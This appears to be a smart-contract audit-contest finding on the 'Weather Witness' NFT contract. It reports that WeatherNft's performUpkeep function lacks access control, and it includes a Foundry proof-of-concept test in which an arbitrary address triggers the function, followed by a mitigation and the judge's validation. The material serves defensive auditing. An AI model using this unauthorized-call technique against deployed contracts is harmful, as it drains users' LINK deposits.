Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1] The ```WeatherNft:::performUpkeep``` Function Has Missing Access Control.

Root + Impact

The WeatherNft:::performUpkeep Function Has Missing Access Control.

Description

The WeatherNft:::performUpkeep Function Has Missing Access Control.The WeatherNft:::performUpkeep should
Only Be Called By The Chainlink Nodes and owner of Token(NFT) .Anyone Can Call performUpkeep Function
And can Update The States.The Documentation Says That performUpkeep Function Should Only be Called By
ChainLink Keepers For Those Users Who Had registered For Automation.

Impact:

Due To Lack Of Acces Control,

1 .Malicious User can repeatedly call the performupkeep which leads to unnecessary state updates

2.Repeatedly Calling Fucntion which will lead to gas usage and gas draining.

Proof of Concept

function testAnyOneCanCallPerformUpKeepp() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
uint256 tokenId = weatherNft.s_tokenCounter();
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
bytes32 reqid = weatherNft.requestMintWeatherNFT{
value: weatherNft.s_currentMintPrice()
}(pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit);
vm.stopPrank();
bytes memory weatherResponse = abi.encode(
WeatherNftStore.Weather.RAINY
);
weatherNft.handleOracleFulfillment(reqid, weatherResponse, "");
vm.prank(user);
weatherNft.fulfillMintRequest(reqid);
vm.prank(user);
string memory tokenURI = weatherNft.tokenURI(tokenId);
bytes memory encodedTokenId = abi.encode(tokenId);
vm.warp(block.timestamp + 12 hours);
(bool weatherUpdateNeeded, bytes memory performdata) = weatherNft
.checkUpkeep(encodedTokenId);
vm.prank(malicioussuser);
weatherNft.performUpkeep(performdata);
/*
Ran 1 test for test/WeatherNftForkTest.t.sol:WeatherNftForkTest
[PASS] testAnyOneCanCallPerformUpKeepp() (gas: 1130725)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.98ms (2.08ms CPU time)
Ran 1 test suite in 12.55ms (5.98ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
*/
}

Recommended Mitigation

For Automatation Registered User,We Will Use s_keeperRegistry To stop Access From Unauthorized Users

For Manual Users,We Will Use Ownerof Token(NFT).

+require(s_keeperRegistry == msg.sender || ownerOf(tokenId) == msg.sender,"NotAuthorized");
function performUpkeep(bytes calldata performData) external override {
uint256 _tokenId = abi.decode(performData, (uint256));
//access control
require(
s_keeperRegistry == msg.sender || ownerOf(_tokenId ) == msg.sender,
"NotAuthorized"
);
uint256 upkeepId = s_weatherNftInfo[_tokenId].upkeepId;
s_weatherNftInfo[_tokenId].lastFulfilledAt = block.timestamp;
string memory pincode = s_weatherNftInfo[_tokenId].pincode;
string memory isoCode = s_weatherNftInfo[_tokenId].isoCode;
bytes32 _reqId = _sendFunctionsWeatherFetchRequest(pincode, isoCode);
s_funcReqIdToTokenIdUpdate[_reqId] = _tokenId;
emit NftWeatherUpdateRequestSend(_tokenId, _reqId, upkeepId);
}
Updates

Appeal created

bube Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `performUpkeep` function

The `performUpkeep` function should be called by the Chainlink keepers or owners of the NFT. But there is no access control and anyone can call the function. This leads to malicious consumption of the user's LINK deposit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.